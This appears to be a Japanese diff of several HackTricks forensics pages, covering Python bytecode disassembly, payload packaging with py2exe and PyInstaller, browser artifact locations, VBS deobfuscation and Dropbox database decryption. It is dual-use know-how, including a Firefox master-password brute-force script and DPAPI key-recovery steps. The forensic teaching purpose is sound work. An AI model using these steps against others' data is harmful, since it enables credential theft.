前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出しようとしてみることができますしかし、それはあまり記述的ではないので、元のコードを再度抽出しようとしてください。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリをディスアセンブルする非常にシンプルなコードを見つけましたコードフローを理解するのに幸運を祈ります。_.pyc_ がPython2からのものであれば、Python2を使用してください
```bash
>>> import dis
>>> import marshal
>>> import struct
>>> import imp
>>>
>>> with open('hello.pyc', 'r') as f: # Read the binary file
... magic = f.read(4)
... timestamp = f.read(4)
... code = f.read()
...
>>>
>>> # Unpack the structured content and un-marshal the code
>>> magic = struct.unpack('<H', magic[:2])
>>> timestamp = struct.unpack('<I', timestamp)
>>> code = marshal.loads(code)
>>> magic, timestamp, code
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
>>>
>>> # Verify if the magic number corresponds with the current python version
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Pythonから実行可能ファイルへ
まず、ペイロードがpy2exeとPyInstallerでコンパイルされる方法を示します。
### py2exeを使用してペイロードを作成する方法
1. [http://www.py2exe.org/](http://www.py2exe.org) からpy2exeパッケージをインストールします。
2. ペイロードこの場合、hello.pyと名前を付けますを作成するには、図1に示すようなスクリプトを使用します。オプション"bundle\_files"の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。
3. スクリプトが準備できたら、コマンド"python setup.py py2exe"を発行します。これにより、図2に示すように実行可能ファイルが作成されます。
```python
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```
```bash
C:\Users\test\Desktop\test>python setup.py py2exe
running py2exe
*** searching for required modules ***
*** parsing results ***
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
*** copy extensions ***
*** copy dlls ***
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### PyInstallerを使用してペイロードを作成する方法
1. pipを使用してPyInstallerをインストールしますpip install pyinstaller
2. その後、コマンド「pyinstaller --onefile hello.py」を発行します'hello.py'はペイロードです。これにより、すべてが1つの実行可能ファイルにバンドルされます。
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
108 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.16299
………………………………
5967 INFO: checking EXE
5967 INFO: Building EXE because out00-EXE.toc is non existent
5982 INFO: Building EXE from out00-EXE.toc
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## 参考
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti****サインアップ** してください。これは、ハッカーによって作成されたプレミアム **バグバウンティプラットフォーム** です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加し、最大 **$100,000** のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -0,0 +1,48 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
特定のファイルタイプやソフトウェアに関する興味深いトリックを見つけることができます:
{% page-ref page=".pyc.md" %}
{% page-ref page="browser-artifacts.md" %}
{% page-ref page="desofuscation-vbs-cscript.exe.md" %}
{% page-ref page="local-cloud-storage.md" %}
{% page-ref page="office-file-analysis.md" %}
{% page-ref page="pdf-file-analysis.md" %}
{% page-ref page="png-tricks.md" %}
{% page-ref page="video-and-audio-file-analysis.md" %}
{% page-ref page="zips-tricks.md" %}
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>

View file

@ -0,0 +1,203 @@
# ブラウザのアーティファクト
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
- ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a>
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、一般的に類似したデータ型を保存しつつも、ブラウザごとに異なる場所と名前でオペレーティングシステム内の特定のフォルダに保持されます。
以下は、最も一般的なブラウザのアーティファクトの要約です:
- **ナビゲーション履歴**ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。
- **オートコンプリートデータ**:頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。
- **ブックマーク**:ユーザーが保存したサイトで、迅速なアクセスのためです。
- **拡張機能とアドオン**:ユーザーがインストールしたブラウザの拡張機能やアドオン。
- **キャッシュ**Webコンテンツ画像、JavaScriptファイルなどを保存してWebサイトの読み込み時間を短縮するための貴重なデータ。
- **ログイン情報**:保存されたログイン資格情報。
- **Favicons**タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。
- **ブラウザセッション**:オープンされたブラウザセッションに関連するデータ。
- **ダウンロード**:ブラウザを介してダウンロードされたファイルの記録。
- **フォームデータ**Webフォームに入力された情報で、将来の自動入力提案のために保存されます。
- **サムネイル**Webサイトのプレビュー画像。
- **Custom Dictionary.txt**:ユーザーがブラウザの辞書に追加した単語。
## Firefox
Firefoxは、プロファイル内のユーザーデータをオペレーティングシステムに基づいて特定の場所に保存します
- **Linux**`~/.mozilla/firefox/`
- **MacOS**`/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
これらのディレクトリ内にある`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`profiles.ini`内の`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。
各プロファイルフォルダ内には、いくつかの重要なファイルがあります:
- **places.sqlite**履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)などのツールを使用して履歴データにアクセスできます。
- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。
- **bookmarkbackups**:ブックマークのバックアップが含まれています。
- **formhistory.sqlite**Webフォームデータを保存します。
- **handlers.json**:プロトコルハンドラを管理します。
- **persdict.dat**:カスタム辞書の単語。
- **addons.json**および**extensions.sqlite**:インストールされたアドオンと拡張機能に関する情報。
- **cookies.sqlite**Cookieの保存先で、Windows上で[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)を使用して検査できます。
- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)などのツールを介してアクセスできます。
- **favicons.sqlite**Faviconsを保存します。
- **prefs.js**:ユーザー設定と環境設定。
- **downloads.sqlite**古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。
- **thumbnails**Webサイトのサムネイル。
- **logins.json**:暗号化されたログイン情報。
- **key4.db**または**key3.db**:機密情報を保護するための暗号化キーを保存します。
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。
マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\
次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます:
{% code title="brute.sh" %}
```bash
#!/bin/bash
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
{% endcode %}
![](<../../../.gitbook/assets/image (417).png>)
## Google Chrome
Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。重要なデータを保持する以下のファイルがあります:
- **History**: URL、ダウンロード、検索キーワードを含む。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。
- **Cookies**: Cookieを保存。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。
- **Cache**: キャッシュされたデータを保持。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。
- **Bookmarks**: ユーザーのブックマーク。
- **Web Data**: フォーム履歴を含む。
- **Favicons**: ウェブサイトのファビコンを保存。
- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含む。
- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンされているタブに関するデータ。
- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。
- **Extensions**: ブラウザの拡張機能やアドオンのためのディレクトリ。
- **Thumbnails**: ウェブサイトのサムネイルを保存。
- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。
- **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行します。出力で `{"enabled: true,"}` を探します。
## **SQLite DBデータの回復**
前のセクションで確認できるように、ChromeとFirefoxはデータを保存するために **SQLite** データベースを使用しています。ツール [**sqlparse**](https://github.com/padfoot999/sqlparse) または [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) を使用して、削除されたエントリを回復することが可能です。
## **Internet Explorer 11**
Internet Explorer 11 は、格納された情報とそれに対応する詳細を簡単にアクセスおよび管理するために、さまざまな場所にデータとメタデータを管理しています。
### メタデータの保存
Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`VX は V01、V16、または V24に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナが識別でき、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。
### キャッシュの検査
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュに関するメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。
### Cookieの管理
Cookieは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なCookieは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションCookieはメモリに保存されます。
### ダウンロードの詳細
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を使用してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが格納されます。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。
### 閲覧履歴
閲覧履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) を使用し、抽出された履歴ファイルの場所とInternet Explorerの構成が必要です。ここでのメタデータには、修正時間、アクセス回数などが含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。
### 入力されたURL
入力されたURLとその使用時刻は、`NTUSER.DAT` 内の `Software\Microsoft\InternetExplorer\TypedURLs` および `Software\Microsoft\InternetExplorer\TypedURLsTime` に格納されており、ユーザーが入力した最後の50のURLとその最終入力時刻を追跡しています。
## Microsoft Edge
Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packages` に保存します。さまざまなデータタイプのパスは次のとおりです:
- **プロファイルパス**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **履歴、Cookie、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **設定、ブックマーク、読書リスト**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **キャッシュ**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **最後のアクティブセッション**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Safariのデータは `/Users/$User/Library/Safari` に保存されます。主要なファイルは次のとおりです:
- **History.db**: URLと訪問時刻を含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。
- **Downloads.plist**: ダウンロードしたファイルに関する情報。
- **Bookmarks.plist**: ブックマークされたURLを保存します。
- **TopSites.plist**: 最も頻繁に訪れるサイト。
- **Extensions.plist**: Safariブラウザの拡張機能のリスト。取得するには `plutil` または `pluginkit` を使用します。
- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメイン。解析するには `plutil` を使用します。
- **LastSession.plist**: 最後のセッションからのタブ。解析するには `plutil` を使用します。
- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。応答が1の場合、機能が有効になっています。
## Opera
Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴とダウンロードに関してはChromeと同じ形式を共有しています。
- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled``true` に設定されているかどうかを確認するには、`grep` を使用して `Preferences` ファイル内で確認します。
これらのパスとコマンドは、異なるWebブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。
## 参考文献
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
- **書籍: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
HackTricks をサポートする他の方法:
* もし**HackTricks**であなたの**企業が宣伝されるのを見たい**か、**PDF形式のHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**

View file

@ -0,0 +1,67 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
悪意のあるVBSファイルをデバッグ/脱オブフスケートするのに役立つ可能性があるいくつかのこと:
## echo
```bash
Wscript.Echo "Like this?"
```
## コメント
```bash
' this is a comment
```
## テスト
```bash
cscript.exe file.vbs
```
## ファイルにデータを書き込む
```js
Function writeBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
' below lines purpose: checks that write access is possible!
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
On Error GoTo 0
Set oTxtStream = Nothing
' end check of write access
With oFSO.createTextFile(strPath)
.Write(strBinary)
.Close
End With
End Function
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -0,0 +1,136 @@
# ローカルクラウドストレージ
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
Windowsでは、OneDriveフォルダを`\Users\<username>\AppData\Local\Microsoft\OneDrive`で見つけることができます。そして、`logs\Personal`内にある`SyncDiagnostics.log`ファイルには、次のような興味深いデータが含まれています:
- バイト単位のサイズ
- 作成日
- 変更日
- クラウド内のファイル数
- フォルダ内のファイル数
- **CID**OneDriveユーザーのユニークID
- レポート生成時刻
- OSのHDのサイズ
CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が記載されている可能性がある_**\<CID>.ini**_および_**\<CID>.dat**_という名前のファイルを見つけることができるかもしれません。
## Google Drive
Windowsでは、メインのGoogle Driveフォルダを`\Users\<username>\AppData\Local\Google\Drive\user_default`で見つけることができます。\
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。
ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。
データベース**`Sync_config.db`**のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。
## Dropbox
Dropboxはファイルを管理するために**SQLiteデータベース**を使用しています。\
これらのデータベースは次のフォルダにあります:
- `\Users\<username>\AppData\Local\Dropbox`
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
- `\Users\<username>\AppData\Roaming\Dropbox`
そして、主要なデータベースは次のとおりです:
- Sigstore.dbx
- Filecache.dbx
- Deleted.dbx
- Config.dbx
".dbx"拡張子は、これらのデータベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)
Dropboxが使用する暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。
ただし、主な情報は次のとおりです:
- **エントロピー**d114a55212655f74bd772e37e64aee9b
- **ソルト**0D638C092E8B82FC452883F95F355B8E
- **アルゴリズム**PBKDF2
- **反復回数**1066
その情報以外に、データベースを復号化するには以下が必要です:
- **暗号化されたDPAPIキー**:これは、`NTUSER.DAT\Software\Dropbox\ks\client`内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします)
- **`SYSTEM`**および**`SECURITY`**ハイブ
- **DPAPIマスターキー**:これは`\Users\<username>\AppData\Roaming\Microsoft\Protect`内に見つけることができます
- Windowsユーザーの**ユーザー名**と**パスワード**
その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)を使用できます:
![](<../../../.gitbook/assets/image (448).png>)
すべてが予想通りに進むと、ツールは**復元に使用する主キー**を示します。元のキーを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、主キーを「パスフレーズ」としてレシピ内に入力します。
結果の16進数は、データベースを復号化するために使用される最終キーであり、次のように復号化できます
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
**`config.dbx`**データベースには次の情報が含まれています:
- **Email**: ユーザーのメールアドレス
- **usernamedisplayname**: ユーザーの名前
- **dropbox\_path**: Dropboxフォルダが配置されているパス
